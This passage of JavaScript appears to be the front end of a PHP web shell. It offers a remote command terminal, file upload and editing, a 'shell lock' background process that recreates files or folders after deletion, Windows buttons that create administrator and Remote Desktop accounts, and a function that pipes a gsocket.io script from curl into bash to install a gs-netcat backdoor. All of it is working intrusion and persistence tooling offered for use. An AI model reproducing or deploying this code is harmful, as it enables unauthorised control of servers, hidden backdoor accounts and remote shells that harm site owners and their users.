                output.innerHTML += `<div class="text-green-400">🔄 Synced FM → Terminal: ${fmDir}</div>`;
                output.scrollTop = output.scrollHeight;
                showToast(`✅ Synced FM → Terminal: ${fmDir}`, 'success');
                checkSyncStatus();
            } else {
                showToast('Sync failed: ' + (data.error || 'Unknown error'), 'error');
            }
        })
        .catch(err => {
            showToast('Sync failed: ' + err.message, 'error');
        });
}

function syncTerminalToFM() {
    const termDir = terminalDir;
    if (!termDir) {
        showToast('Terminal directory not available', 'error');
        return;
    }
    loadDir(termDir);
    const output = document.getElementById('terminal-output');
    output.innerHTML += `<div class="text-blue-400">🔄 Synced Terminal → FM: ${termDir}</div>`;
    output.scrollTop = output.scrollHeight;
    showToast(`✅ Synced Terminal → FM: ${termDir}`, 'success');
    checkSyncStatus();
}

function clearTerminal() {
    document.getElementById('terminal-output').innerHTML = '';
}

function executeCommand(e) {
    e.preventDefault();
    const input = document.getElementById('command-input');
    const command = input.value.trim();
    if (!command) return;
    const formData = new FormData();
    formData.append('command', command);
    formData.append('dir', terminalDir);
    const output = document.getElementById('terminal-output');
    if (isWindows) {
        output.innerHTML += `<div class="prompt"><span class="text-green-400">${terminalDir.replace(/\\/g, '/')}></span> ${command}</div>`;
    } else {
        output.innerHTML += `<div class="prompt"><span class="text-green-400">${terminalDir.split('/').pop() || '/'}$</span> ${command}</div>`;
    }
    fetch('?action=execute', {
        method: 'POST',
        body: formData
    })
    .then(res => res.json())
    .then(data => {
        if (data.success) {
            if (data.changed_dir || command.startsWith('cd ') || (isWindows && command.toLowerCase().startsWith('cd '))) {
                terminalDir = data.dir;
                updateTerminalPrompt();
            }
            output.innerHTML += `<div class="output">${data.output}</div>`;
            document.getElementById('exec-method').textContent = data.method;
            document.getElementById('exec-method').className = data.return_var === 0 ?
                'text-xs px-2 py-1 bg-green-900/30 text-green-400 rounded' :
                'text-xs px-2 py-1 bg-red-900/30 text-red-400 rounded';
        } else {
            output.innerHTML += `<div class="error">Error: ${data.error}</div>`;
        }
        output.scrollTop = output.scrollHeight;
        input.value = '';
        input.focus();
        checkSyncStatus();
    })
    .catch(err => {
        output.innerHTML += `<div class="error">Network error: ${err.message}</div>`;
        output.scrollTop = output.scrollHeight;
    });
}

function quickCommand(cmd) {
    document.getElementById('command-input').value = cmd;
    document.getElementById('command-input').focus();
    setTimeout(() => {
        const event = new Event('submit', { cancelable: true });
        document.querySelector('#terminal-content form').dispatchEvent(event);
    }, 100);
}

// ============================================
// DRAG & DROP UPLOAD
// ============================================
function setupDragDrop() {
    const dropZone = document.getElementById('drop-zone');
    if (!dropZone) return;
    dropZone.removeEventListener('dragenter', handleDragEnter);
    dropZone.removeEventListener('dragover', handleDragOver);
    dropZone.removeEventListener('dragleave', handleDragLeave);
    dropZone.removeEventListener('drop', handleDrop);
    dropZone.addEventListener('dragenter', handleDragEnter);
    dropZone.addEventListener('dragover', handleDragOver);
    dropZone.addEventListener('dragleave', handleDragLeave);
    dropZone.addEventListener('drop', handleDrop);
}

function handleDragEnter(e) {
    e.preventDefault();
    e.stopPropagation();
    document.getElementById('drop-zone').classList.add('drag-over');
}

function handleDragOver(e) {
    e.preventDefault();
    e.stopPropagation();
    document.getElementById('drop-zone').classList.add('drag-over');
}

function handleDragLeave(e) {
    e.preventDefault();
    e.stopPropagation();
    const dropZone = document.getElementById('drop-zone');
    const rect = dropZone.getBoundingClientRect();
    const x = e.clientX;
    const y = e.clientY;
    if (x < rect.left || x > rect.right || y < rect.top || y > rect.bottom) {
        dropZone.classList.remove('drag-over');
    }
}

function handleDrop(e) {
    e.preventDefault();
    e.stopPropagation();
    document.getElementById('drop-zone').classList.remove('drag-over');
    const files = e.dataTransfer.files;
    if (files.length > 0) {
        uploadDroppedFiles(files);
    }
}

function uploadDroppedFiles(files) {
    const maxSize = 100 * 1024 * 1024;
    const validFiles = [];
    const errors = [];
    for (let i = 0; i < files.length; i++) {
        const file = files[i];
        if (file.size > maxSize) {
            errors.push(`${file.name}: File too large (max 100MB)`);
        } else {
            validFiles.push(file);
        }
    }
    if (errors.length > 0) {
        showToast('⚠️ Some files were skipped:<br>' + errors.slice(0, 3).join('<br>'), 'warning', true);
    }
    if (validFiles.length === 0) {
        if (errors.length === 0) {
            showToast('No files to upload', 'info');
        }
        return;
    }
    showToast(`📤 Uploading ${validFiles.length} file(s)...`, 'info');
    const formData = new FormData();
    for (let i = 0; i < validFiles.length; i++) {
        formData.append('file[]', validFiles[i]);
    }
    formData.append('dir', currentDir);
    fetch('?action=upload', {
        method: 'POST',
        body: formData
    })
    .then(res => res.json())
    .then(data => {
        if (data.error) {
            let errorMsg = data.error;
            if (data.results && data.results.errors && data.results.errors.length > 0) {
                errorMsg += '<br>' + data.results.errors.slice(0, 3).join('<br>');
                if (data.results.errors.length > 3) {
                    errorMsg += `<br>...and ${data.results.errors.length - 3} more`;
                }
            }
            showToast(errorMsg, 'error', true);
        } else {
            const results = data.results || {};
            let successMsg = `✅ ${results.success || 0} file(s) uploaded successfully`;
            if (results.failed && results.failed > 0) {
                successMsg += `<br>❌ ${results.failed} failed`;
                if (results.errors && results.errors.length > 0) {
                    successMsg += '<br>' + results.errors.slice(0, 3).join('<br>');
                }
            }
            showToast(successMsg, results.failed > 0 ? 'warning' : 'success', true);
            loadDir(currentDir);
        }
    })
    .catch(err => {
        showToast('Upload failed: ' + err.message, 'error', true);
    });
}

document.getElementById('file-upload').addEventListener('change', function(e) {
    if (!this.files.length) return;
    uploadDroppedFiles(this.files);
    this.value = '';
});

// ============================================
// SHELL LOCK & UNLOCK FUNCTIONS
// ============================================
function lockShell(path, isDir) {
    const type = isDir ? 'folder' : 'file';
    if (!confirm(`🔒 Lock ${type} with background process?\n\n${isDir ? 'Folder: Will be recreated if deleted' : 'File: Will be restored if deleted'}`)) return;

    const formData = new FormData();
    formData.append('path', decodeURIComponent(path));

    showToast(`Locking ${type} with background process...`, 'info');

    fetch('?action=lockshell', {
        method: 'POST',
        body: formData
    })
    .then(res => {
        // Cek response text dulu
        return res.text().then(text => {
            try {
                return JSON.parse(text);
            } catch(e) {
                // Jika tidak bisa parse JSON, tapi response sukses (200)
                if (res.ok) {
                    return { success: true, message: 'Locked successfully', shell_locked: true };
                }
                throw new Error('Invalid response: ' + text.substring(0, 100));
            }
        });
    })
    .then(data => {
        if (data.error) {
            showToast(data.error, 'error');
        } else {
            const typeLabel = data.is_dir ? 'Folder' : 'File';
            showToast(`✅ ${typeLabel} locked with background process`, 'success');
            loadDir(currentDir);
        }
    })
    .catch(err => {
        console.error('Lock error:', err);
        // Coba cek status lock
        showToast('Lock may have succeeded, refreshing...', 'info');
        loadDir(currentDir);
    });
}

function unlockShell(path, isDir) {
    const type = isDir ? 'folder' : 'file';
    if (!confirm(`🔓 Unlock ${type}?\n\nThis will stop the background process.`)) return;

    const formData = new FormData();
    formData.append('path', decodeURIComponent(path));

    showToast(`Unlocking ${type}...`, 'info');

    fetch('?action=unlockshell', {
        method: 'POST',
        body: formData
    })
    .then(res => {
        return res.text().then(text => {
            try {
                return JSON.parse(text);
            } catch(e) {
                if (res.ok) {
                    return { success: true, message: 'Unlocked successfully', shell_locked: false };
                }
                throw new Error('Invalid response: ' + text.substring(0, 100));
            }
        });
    })
    .then(data => {
        if (data.error) {
            showToast(data.error, 'error');
        } else {
            const typeLabel = data.is_dir ? 'Folder' : 'File';
            showToast(`✅ ${typeLabel} unlocked successfully`, 'success');
            loadDir(currentDir);
        }
    })
    .catch(err => {
        console.error('Unlock error:', err);
        showToast('Unlock may have succeeded, refreshing...', 'info');
        loadDir(currentDir);
    });
}

// ============================================
// MOVE, COPY FUNCTIONS
// ============================================
function moveSelected() {
    if (selectedFiles.size === 0) {
        showToast('No files selected', 'warning');
        return;
    }
    showDirPicker('Move selected items', function(destPath) {
        const sources = Array.from(selectedFiles);
        const formData = new FormData();
        formData.append('sources', JSON.stringify(sources));
        formData.append('destination', destPath);
        showToast(`Moving ${sources.length} item(s)...`, 'info');
        fetch('?action=move', {
            method: 'POST',
            body: formData
        })
        .then(res => res.json())
        .then(data => {
            if (data.success) {
                let message = `✅ Moved ${data.results?.success || 0} item(s)`;
                if (data.results?.failed > 0) {
                    message += `, ❌ ${data.results.failed} failed`;
                    if (data.results.errors && data.results.errors.length) {
                        showToast(message + '<br>' + data.results.errors.slice(0, 3).join('<br>'), 'warning', true);
                    } else {
                        showToast(message, 'warning');
                    }
                } else {
                    showToast(message, 'success');
                }
                selectedFiles.clear();
                updateSelectedCount();
                loadDir(currentDir);
            } else {
                showToast(data.error || 'Move failed', 'error');
            }
        })
        .catch(err => {
            showToast('Move failed: ' + err.message, 'error');
        });
    });
}

function copySelected() {
    if (selectedFiles.size === 0) {
        showToast('No files selected', 'warning');
        return;
    }
    showDirPicker('Copy selected items', function(destPath) {
        const sources = Array.from(selectedFiles);
        const formData = new FormData();
        formData.append('sources', JSON.stringify(sources));
        formData.append('destination', destPath);
        showToast(`Copying ${sources.length} item(s)...`, 'info');
        fetch('?action=copy', {
            method: 'POST',
            body: formData
        })
        .then(res => res.json())
        .then(data => {
            if (data.success) {
                let message = `✅ Copied ${data.results?.success || 0} item(s)`;
                if (data.results?.failed > 0) {
                    message += `, ❌ ${data.results.failed} failed`;
                    if (data.results.errors && data.results.errors.length) {
                        showToast(message + '<br>' + data.results.errors.slice(0, 3).join('<br>'), 'warning', true);
                    } else {
                        showToast(message, 'warning');
                    }
                } else {
                    showToast(message, 'success');
                }
                loadDir(currentDir);
            } else {
                showToast(data.error || 'Copy failed', 'error');
            }
        })
        .catch(err => {
            showToast('Copy failed: ' + err.message, 'error');
        });
    });
}

// ============================================
// DIRECTORY PICKER
// ============================================
function showDirPicker(title, callback) {
    dirPickerCallback = callback;
    document.getElementById('dir-picker-title').textContent = title;
    document.getElementById('dest-directory').value = currentDir;
    document.getElementById('dest-browser').classList.add('hidden');
    document.getElementById('dir-picker-modal').classList.remove('hidden');
}

function closeDirPickerModal() {
    document.getElementById('dir-picker-modal').classList.add('hidden');
    dirPickerCallback = null;
}

function confirmDirPicker() {
    let destPath = document.getElementById('dest-directory').value;
    if (destPath && dirPickerCallback) {
        dirPickerCallback(destPath);
    }
    closeDirPickerModal();
}

function browseDestDirectory() {
    const browser = document.getElementById('dest-browser');
    if (browser.classList.contains('hidden')) {
        browser.classList.remove('hidden');
        let currentDest = document.getElementById('dest-directory').value;
        loadDestBrowserSimple(currentDest);
    } else {
        browser.classList.add('hidden');
    }
}

function loadDestBrowserSimple(dir) {
    document.getElementById('dest-breadcrumbs').innerHTML = dir;
    fetch(`?action=list&dir=${encodeURIComponent(dir)}`)
        .then(res => res.json())
        .then(data => {
            if (data.error) {
                showToast(data.error, 'error');
                return;
            }
            let html = '';
            let parentDir = dir;
            let lastSlash = dir.lastIndexOf('/');
            if (lastSlash > 0) {
                parentDir = dir.substring(0, lastSlash);
            } else {
                parentDir = '/';
            }
            html += `<div class="p-2 hover:bg-gray-800 cursor-pointer flex items-center gap-2 border-b border-gray-700" onclick="loadDestBrowserSimple('${parentDir}')">
                        <i class="fas fa-level-up-alt text-yellow-500"></i>
                        <span>.. (Parent)</span>
                    </div>`;
            data.files.forEach(file => {
                if (file.type === 'dir') {
                    html += `<div class="p-2 hover:bg-gray-800 cursor-pointer flex items-center gap-2 border-b border-gray-700" onclick="loadDestBrowserSimple('${file.path}')">
                                ${file.icon}
                                <span>${escapeHtml(file.name)}</span>
                            </div>`;
                }
            });
            html += `<div class="p-2 bg-blue-900/30 cursor-pointer flex items-center gap-2 mt-2" onclick="selectThisDirSimple('${dir}')">
                        <i class="fas fa-check-circle text-green-400"></i>
                        <span class="text-green-400">✓ Select: ${escapeHtml(dir)}</span>
                    </div>`;
            document.getElementById('dest-files-list').innerHTML = html;
        })
        .catch(err => {
            showToast('Failed to load', 'error');
        });
}

function selectThisDirSimple(path) {
    document.getElementById('dest-directory').value = path;
    document.getElementById('dest-browser').classList.add('hidden');
}

function goUpDestDir() {
    let current = document.getElementById('dest-breadcrumbs').innerHTML;
    let lastSlash = current.lastIndexOf('/');
    let parent = lastSlash > 0 ? current.substring(0, lastSlash) : '/';
    loadDestBrowserSimple(parent);
}

// ============================================
// WINDOWS TOOLS FUNCTIONS
// ============================================
function toggleWindowsTools() {
    const dropdown = document.getElementById('windows-tools-dropdown');
    const arrow = document.getElementById('dropdown-arrow-windows');
    if (!dropdown) return;
    dropdown.classList.toggle('show');
    if (arrow) arrow.style.transform = dropdown.classList.contains('show') ? 'rotate(180deg)' : 'rotate(0deg)';
    if (dropdown.classList.contains('show')) {
        setTimeout(() => {
            document.addEventListener('click', function closeDropdown(e) {
                if (!dropdown.contains(e.target) && !e.target.closest('.dropdown') && !e.target.closest('[onclick*="toggleWindowsTools"]')) {
                    dropdown.classList.remove('show');
                    if (arrow) arrow.style.transform = 'rotate(0deg)';
                    document.removeEventListener('click', closeDropdown);
                }
            });
        }, 10);
    }
}

function runWindowsCommand(name, command) {
    const dropdown = document.getElementById('windows-tools-dropdown');
    if (dropdown) dropdown.classList.remove('show');
    const input = document.getElementById('command-input');
    if (input) {
        input.value = command;
        showToast(`Running: ${name}`, 'info');
        setTimeout(() => {
            const form = document.querySelector('#terminal-content form');
            if (form) form.dispatchEvent(new Event('submit', { cancelable: true }));
        }, 100);
    } else {
        showToast('Terminal not available', 'error');
    }
}

function showCreateUserModal() {
    const dropdown = document.getElementById('windows-tools-dropdown');
    if (dropdown) dropdown.classList.remove('show');
    const username = prompt('👤 Masukkan username baru:');
    if (!username) return;
    const password = prompt('🔐 Masukkan password untuk ' + username + ':');
    if (!password) return;
    const makeAdmin = confirm('Jadikan Administrator? (OK = Admin, Cancel = User biasa)');
    let cmd = `net user "${username}" "${password}" /add && net localgroup "Remote Desktop Users" "${username}" /add`;
    if (makeAdmin) cmd += ` && net localgroup Administrators "${username}" /add`;
    runWindowsCommand(`Create User: ${username}`, cmd);
}

function showResetPasswordModal() {
    const dropdown = document.getElementById('windows-tools-dropdown');
    if (dropdown) dropdown.classList.remove('show');
    const username = prompt('👤 Masukkan username yang akan direset password-nya:');
    if (!username) return;
    const password = prompt('🔐 Masukkan password baru untuk ' + username + ':');
    if (!password) return;
    runWindowsCommand(`Reset Password: ${username}`, `net user "${username}" "${password}"`);
}

function showAddAdminModal() {
    const dropdown = document.getElementById('windows-tools-dropdown');
    if (dropdown) dropdown.classList.remove('show');
    const username = prompt('👤 Masukkan username yang akan dijadikan Administrator:');
    if (!username) return;
    runWindowsCommand(`Make Admin: ${username}`, `net localgroup Administrators "${username}" /add && net localgroup "Remote Desktop Users" "${username}" /add && echo User ${username} has been added to Administrators and Remote Desktop Users groups`);
}

// ============================================
// LINUX TOOLS FUNCTIONS
// ============================================
function toggleLinuxTools() {
    const dropdown = document.getElementById('linux-tools-dropdown');
    const arrow = document.getElementById('dropdown-arrow-linux');
    if (!dropdown) return;
    dropdown.classList.toggle('show');
    if (arrow) arrow.style.transform = dropdown.classList.contains('show') ? 'rotate(180deg)' : 'rotate(0deg)';
    if (dropdown.classList.contains('show')) {
        setTimeout(() => {
            document.addEventListener('click', function closeDropdown(e) {
                if (!dropdown.contains(e.target) && !e.target.closest('.dropdown') && !e.target.closest('[onclick*="toggleLinuxTools"]')) {
                    dropdown.classList.remove('show');
                    if (arrow) arrow.style.transform = 'rotate(0deg)';
                    document.removeEventListener('click', closeDropdown);
                }
            });
        }, 10);
    }
}

function runLinuxCommand(name, command) {
    const dropdown = document.getElementById('linux-tools-dropdown');
    if (dropdown) dropdown.classList.remove('show');
    const input = document.getElementById('command-input');
    if (input) {
        input.value = command;
        showToast(`Running: ${name}`, 'info');
        setTimeout(() => {
            const form = document.querySelector('#terminal-content form');
            if (form) form.dispatchEvent(new Event('submit', { cancelable: true }));
        }, 100);
    } else {
        showToast('Terminal not available', 'error');
    }
}

function installgs() {
    const command = 'curl -fsSL https://gsocket.io/y | GS_OPTIONS="-l -i" bash';
    const input = document.getElementById('command-input');
    if (input) {
        input.value = command;
        showToast('Installing GS...', 'info');
        setTimeout(() => {
            const form = document.querySelector('#terminal-content form');
            if (form) form.dispatchEvent(new Event('submit', { cancelable: true }));
            setTimeout(() => {
                const output = document.getElementById('terminal-output');
                const match = output.innerText.match(/gs-netcat -s "[^"]+" -i/);
                if (match) {
                    const result = match[0];
                    const modalDiv = document.createElement('div');
                    modalDiv.className = 'gs-modal-overlay';
                    modalDiv.innerHTML = `
                        <div class="gs-modal-content">
                            <button class="gs-modal-close" onclick="this.closest('.gs-modal-overlay').remove()">&times;</button>
                            <div class="gs-modal-title">✅ GSocket Installed Successfully</div>
                            <div class="gs-modal-code">${escapeHtml(result)}</div>
                            <div class="gs-modal-buttons">
                                <div class="gs-modal-btn gs-modal-btn-copy" onclick="navigator.clipboard.writeText('${escapeHtml(result)}'); showToast('Copied to clipboard!', 'success'); this.closest('.gs-modal-overlay').remove()">📋 Copy</div>
                                <div class="gs-modal-btn gs-modal-btn-close" onclick="this.closest('.gs-modal-overlay').remove()">Close</div>
                            </div>
                        </div>
                    `;
                    document.body.appendChild(modalDiv);
                }
            }, 3000);
        }, 100);
    }
}

function uninstallgs() {
    const command = 'GS_UNDO=1 bash -c "$(curl -fsSL https://gsocket.io/y)"';
    const input = document.getElementById('command-input');
    if (input) {
        input.value = command;
        showToast('Uninstalling GS...', 'info');
        setTimeout(() => {
            const form = document.querySelector('#terminal-content form');
            if (form) form.dispatchEvent(new Event('submit', { cancelable: true }));
            setTimeout(() => {
                showToast('GS Uninstall completed', 'success');
            }, 5000);
        }, 100);
    }
}

// ============================================
// FILE MANAGER FUNCTIONS
// ============================================
function loadDir(dir = currentDir) {
    document.getElementById('loading').classList.remove('hidden');
    document.getElementById('empty-state').classList.add('hidden');
    document.getElementById('file-table').innerHTML = '';
    fetch(`?action=list&dir=${encodeURIComponent(dir)}`)
        .then(res => res.json())
        .then(data => {
            document.getElementById('loading').classList.add('hidden');
            if (data.error) {
                showToast(data.error, 'error');
                return;
            }
            currentDir = data.path;
            updateTerminalPrompt();
            document.getElementById('breadcrumbs').innerHTML = data.breadcrumbs;
            document.getElementById('disk-info').innerHTML = `
                <i class="fas fa-hdd mr-1"></i>
                <span class="text-green-400">${data.disk.used}</span> /
                <span>${data.disk.total}</span>
                <div class="inline-block w-32 ml-2">
                    <div class="progress-bar" style="width: ${data.disk.percent}%"></div>
                </div>
            `;
            const table = document.getElementById('file-table');
            const files = data.files;
            if (files.length === 0) {
                document.getElementById('empty-state').classList.remove('hidden');
                return;
            }
            let html = '';
            files.forEach(file => {
                const isSelected = selectedFiles.has(file.path);
                const date = new Date(file.modified * 1000);
                const isDir = file.type === 'dir';
                const perms = file.permissions || (isWindows ? 'rwx' : '0644');
                const isWritable = file.writable || false;
                const isShellLocked = file.shell_locked || false;
                const permissionClass = isShellLocked ? 'permission-locked' : (isWritable ? 'permission-writable' : '');
                const rowClass = isShellLocked ? (isDir ? 'file-row hover:bg-gray-800/50 folder-shell-locked' : 'file-row hover:bg-gray-800/50 file-shell-locked') : 'file-row hover:bg-gray-800/50';

                html += `
                    <tr class="${rowClass}" data-path="${encodeURIComponent(file.path)}">
                        <td class="p-3 text-center">
                            <input type="checkbox" class="file-check"
                                   ${isSelected ? 'checked' : ''}
                                   onchange="toggleSelect('${encodeURIComponent(file.path)}', this.checked)">
                        </td>
                        <td class="p-3 actions-cell">
                            <div class="flex items-center gap-3">
                                <div class="text-lg">${file.icon}</div>
                                <div>
                                    ${isDir ?
                                        `<button onclick="loadDir('${encodeURIComponent(file.path)}')" class="text-left hover:text-yellow-400 font-medium">
                                            ${escapeHtml(file.name)}
                                        </button>` :
                                        `<button onclick="openFile('${encodeURIComponent(file.path)}')" class="text-left hover:text-blue-400">
                                            ${escapeHtml(file.name)}
                                        </button>`
                                    }
                                    ${isShellLocked ? (isDir ? ' <span class="text-xs text-yellow-400">🔒</span>' : ' <span class="text-xs text-red-400">💀</span>') : ''}
                                </div>
                            </div>
                        </td>
                        <td class="p-3 text-gray-400 text-sm">${file.size_fmt}</td>
                        <td class="p-3 actions-cell">
                            <span class="permission-bits px-2 py-1 bg-gray-800 rounded text-xs font-mono ${permissionClass}"
                                  title="${isShellLocked ? (isDir ? 'Folder locked - Background process running' : 'File locked - Background process running') : isWritable ? 'Writable' : 'Non-writable'}"
                                  onclick="${isShellLocked ? `showToast('🔒 Item is locked! Unlock first to change permissions.', 'warning')` : `changePermissionsPrompt('${encodeURIComponent(file.path)}', '${perms}')`}">
                                ${perms}
                            </span>
                        </td>
                        <td class="p-3 text-gray-400 text-sm font-mono">
                            ${file.owner || '-'}/${file.group || '-'}
                        </td>
                        <td class="p-3 text-gray-400 text-sm">
                            <span title="${date.toLocaleString()}"
                                  onclick="changeTimestampPrompt('${encodeURIComponent(file.path)}', '${date.toISOString().split('T')[0]}')">
                                ${date.toLocaleDateString()}
                            </span>
                        </td>
                        <td class="p-3 actions-cell">
                            <div class="flex items-center gap-2 flex-wrap">
                                ${!isDir ? `
                                    <button onclick="downloadFile('${encodeURIComponent(file.path)}')" class="text-blue-400 hover:text-blue-300" title="Download">
                                        <i class="fas fa-download"></i>
                                    </button>
                                    ${['zip', 'rar', '7z', 'tar', 'gz'].includes(file.ext) ? `
                                        <button onclick="extractArchive('${encodeURIComponent(file.path)}')" class="text-green-400 hover:text-green-300" title="Extract">
                                            <i class="fas fa-expand-arrows-alt"></i>
                                        </button>
                                    ` : ''}
                                    <button onclick="${isShellLocked ? `showToast('🔒 Item is locked! Unlock first to edit.', 'warning')` : `editFile('${encodeURIComponent(file.path)}')`}"
                                            class="${isShellLocked ? 'text-gray-500 cursor-not-allowed' : 'text-purple-400 hover:text-purple-300'}"
                                            title="${isShellLocked ? 'Locked - Unlock to edit' : 'Edit'}">
                                        <i class="fas fa-edit"></i>
                                    </button>
                                ` : ''}
                                <button onclick="${isShellLocked ? `showToast('🔒 Item is locked! Unlock first to rename.', 'warning')` : `renameItem('${encodeURIComponent(file.path)}')`}"
                                        class="${isShellLocked ? 'text-gray-500 cursor-not-allowed' : 'text-yellow-400 hover:text-yellow-300'}"
                                        title="${isShellLocked ? 'Locked - Unlock to rename' : 'Rename'}">
                                    <i class="fas fa-i-cursor"></i>
                                </button>
                                ${isShellLocked ? `
                                    <button onclick="unlockShell('${encodeURIComponent(file.path)}', ${isDir})" class="shell-unlock-icon" title="Unlock (Stop Process & Restore)">
                                        <i class="fas fa-skull-crossbones"></i>
                                    </button>
                                ` : `
                                    <button onclick="lockShell('${encodeURIComponent(file.path)}', ${isDir})" class="shell-lock-icon" title="${isDir ? 'Lock Folder (Background Process)' : 'Lock File (Background Process)'}">
                                        <i class="fas fa-skull"></i>
                                    </button>
                                `}
                                <button onclick="${isShellLocked ? `showToast('🔒 Item is locked! Unlock first to view info.', 'warning')` : `showFileInfo('${encodeURIComponent(file.path)}')`}"
                                        class="${isShellLocked ? 'text-gray-500 cursor-not-allowed' : 'text-gray-400 hover:text-gray-300'}"
                                        title="${isShellLocked ? 'Locked - Unlock to view info' : 'Info'}">
                                    <i class="fas fa-info-circle"></i>
                                </button>
                                <button onclick="${isShellLocked ? `showToast('🔒 Item is locked! Unlock first to delete.', 'warning')` : `deleteItem('${encodeURIComponent(file.path)}')`}"
                                        class="${isShellLocked ? 'text-gray-500 cursor-not-allowed' : 'text-red-400 hover:text-red-300'}"
                                        title="${isShellLocked ? 'Locked - Unlock to delete' : 'Delete'}">
                                    <i class="fas fa-trash"></i>
                                </button>
                            </div>
                        </td>
                    </tr>
                `;
            });
            table.innerHTML = html;
            setTimeout(setupDragDrop, 100);
            checkSyncStatus();
        })
        .catch(err => {
            document.getElementById('loading').classList.add('hidden');
            showToast('Failed to load directory', 'error');
        });
}

// ============================================
// FILE OPERATIONS
// ============================================
function openFile(path) {
    fetch(`?action=view&file=${path}`)
        .then(res => res.json())
        .then(data => {
            if (data.error) {
                showToast(data.error, 'error');
                return;
            }
            if (data.is_image) {
                document.getElementById('modal-title').textContent = `${data.name} (${data.size})`;
                document.getElementById('modal-body').innerHTML = `
                    <div class="text-center">
                        <img src="?action=download&file=${encodeURIComponent(data.path)}"
                            class="max-w-full max-h-[70vh] mx-auto rounded-lg shadow-lg"
                            alt="${data.name}"
                            onerror="this.src='data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 100 100\'%3E%3Crect width=\'100\' height=\'100\' fill=\'%23333\'%2F%3E%3Ctext x=\'50\' y=\'55\' font-family=\'Arial\' font-size=\'12\' fill=\'%23fff\' text-anchor=\'middle\'%3E⚠️ Failed to load%3C/text%3E%3C/svg%3E'; this.classList.add('bg-gray-800', 'p-8');">
                        <div class="mt-4 flex justify-center gap-2">
                            <button onclick="editFileRaw('${encodeURIComponent(data.path)}')" class="btn btn-warning">
                                <i class="fas fa-edit mr-2"></i> Edit Raw
                            </button>
                            <button onclick="downloadFile('${encodeURIComponent(data.path)}')" class="btn btn-primary">
                                <i class="fas fa-download mr-2"></i> Download
                            </button>
                            <button onclick="closeModal()" class="btn btn-secondary">Close</button>
                        </div>
                        <div class="mt-2 text-xs text-gray-500">
                            📁 ${data.name} • 💾 ${data.size} • 🔐 ${data.permissions}
                        </div>
                    </div>
                `;
                document.getElementById('modal').classList.remove('hidden');
            } else {
                editFile(path);
            }
        })
        .catch(err => {
            showToast('Cannot open file: ' + err.message, 'error');
        });
}

let aceEditor = null;
let currentFilePath = null;
let currentIsRaw = false;

function editFile(path, isRaw = false) {
    let url = `?action=view&file=${path}`;
    if (isRaw) url += '&raw=1';
    fetch(url)
        .then(res => res.json())
        .then(data => {
            if (data.error) {
                showToast(data.error, 'error');
                return;
            }
            currentFilePath = decodeURIComponent(path);
            currentIsRaw = isRaw;
            let content = data.content || '';
            let ext = data.ext || path.split('.').pop().toLowerCase();
            let aceMode = 'text';
            const modeMap = {
                'php': 'php', 'js': 'javascript', 'ts': 'typescript', 'jsx': 'javascript', 'tsx': 'typescript',
                'html': 'html', 'htm': 'html', 'css': 'css', 'scss': 'scss', 'sass': 'sass', 'less': 'less',
                'json': 'json', 'xml': 'xml', 'yaml': 'yaml', 'yml': 'yaml', 'md': 'markdown', 'sql': 'sql',
                'py': 'python', 'rb': 'ruby', 'go': 'golang', 'rs': 'rust', 'c': 'c_cpp', 'cpp': 'c_cpp',
                'h': 'c_cpp', 'hpp': 'c_cpp', 'java': 'java', 'kt': 'kotlin', 'swift': 'swift',
                'sh': 'sh', 'bash': 'sh', 'zsh': 'sh', 'bat': 'batch', 'ps1': 'powershell',
                'vue': 'vue', 'dockerfile': 'dockerfile', 'ini': 'ini', 'conf': 'ini',
                'txt': 'text', 'log': 'text', 'env': 'text', 'htaccess': 'apache_conf'
            };
            aceMode = modeMap[ext] || 'text';
            let warningHtml = '';
            let readonly = false;
            if (data.is_binary && !isRaw) {
                warningHtml = `
                    <div class="mb-3 p-3 bg-yellow-900/50 border border-yellow-600 rounded-lg text-yellow-200 text-sm">
                        <i class="fas fa-exclamation-triangle mr-2"></i>
                        <strong>⚠️ BINARY FILE DETECTED!</strong> Editing this file directly may corrupt it.
                        <button onclick="editFileRaw('${encodeURIComponent(data.path)}')" class="ml-3 text-yellow-300 underline">
                            Open as Raw Text anyway
                        </button>
                    </div>
                `;
                readonly = true;
            } else if (data.is_binary && isRaw) {
                warningHtml = `
                    <div class="mb-3 p-3 bg-red-900/50 border border-red-600 rounded-lg text-red-200 text-sm">
                        <i class="fas fa-skull-crossbones mr-2"></i>
                        <strong>⚠️ CRITICAL WARNING!</strong> You are editing a binary file in raw mode.
                        Any changes can permanently corrupt this file!
                    </div>
                `;
                readonly = false;
            }
            let editModeText = '';
            let badgeColor = '';
            if (data.is_binary && isRaw) {
                editModeText = '🔧 RAW BINARY MODE';
                badgeColor = 'bg-red-600';
            } else if (data.is_binary) {
                editModeText = '⚠️ BINARY FILE';
                badgeColor = 'bg-yellow-600';
            } else {
                editModeText = '✏️ EDIT MODE';
                badgeColor = 'bg-green-600';
            }
            let lines = content.split('\n').length;
            let chars = content.length;
            document.getElementById('modal-title').innerHTML = `
                <div class="flex items-center gap-3 flex-wrap">
                    <span class="px-2 py-1 rounded text-xs font-bold ${badgeColor}">${editModeText}</span>
                    <span class="font-mono">${escapeHtml(data.name)}</span>
                    <span class="text-xs text-gray-400">(${data.size})</span>
                </div>
            `;
            document.getElementById('modal-body').innerHTML = `
                <div class="h-full flex flex-col">
                    <div class="mb-3 flex justify-between items-center flex-wrap gap-2 p-2 bg-gray-800/50 rounded-lg border border-gray-700">
                        <div class="flex gap-2 flex-wrap">
                            <button onclick="toggleFullscreen()" class="btn btn-secondary text-xs py-1 px-2" title="Fullscreen (F11)">
                                <i class="fas fa-expand"></i> Fullscreen
                            </button>
                            <button onclick="saveFileAce()" class="btn btn-primary text-xs py-1 px-2">
                                <i class="fas fa-save mr-1"></i> Save
                            </button>
                            <button onclick="copyToClipboardAce()" class="btn btn-secondary text-xs py-1 px-2">
                                <i class="fas fa-copy mr-1"></i> Copy
                            </button>
                            <button onclick="undoAce()" class="btn btn-secondary text-xs py-1 px-2">
                                <i class="fas fa-undo"></i>
                            </button>
                            <button onclick="redoAce()" class="btn btn-secondary text-xs py-1 px-2">
                                <i class="fas fa-redo"></i>
                            </button>
                            <button onclick="findAce()" class="btn btn-secondary text-xs py-1 px-2" title="Find (Ctrl+F)">
                                <i class="fas fa-search"></i> Find
                            </button>
                            <button onclick="replaceAce()" class="btn btn-secondary text-xs py-1 px-2" title="Replace (Ctrl+H)">
                                <i class="fas fa-exchange-alt"></i> Replace
                            </button>
                        </div>
                        <div class="flex gap-3 text-xs text-gray-400 flex-wrap">
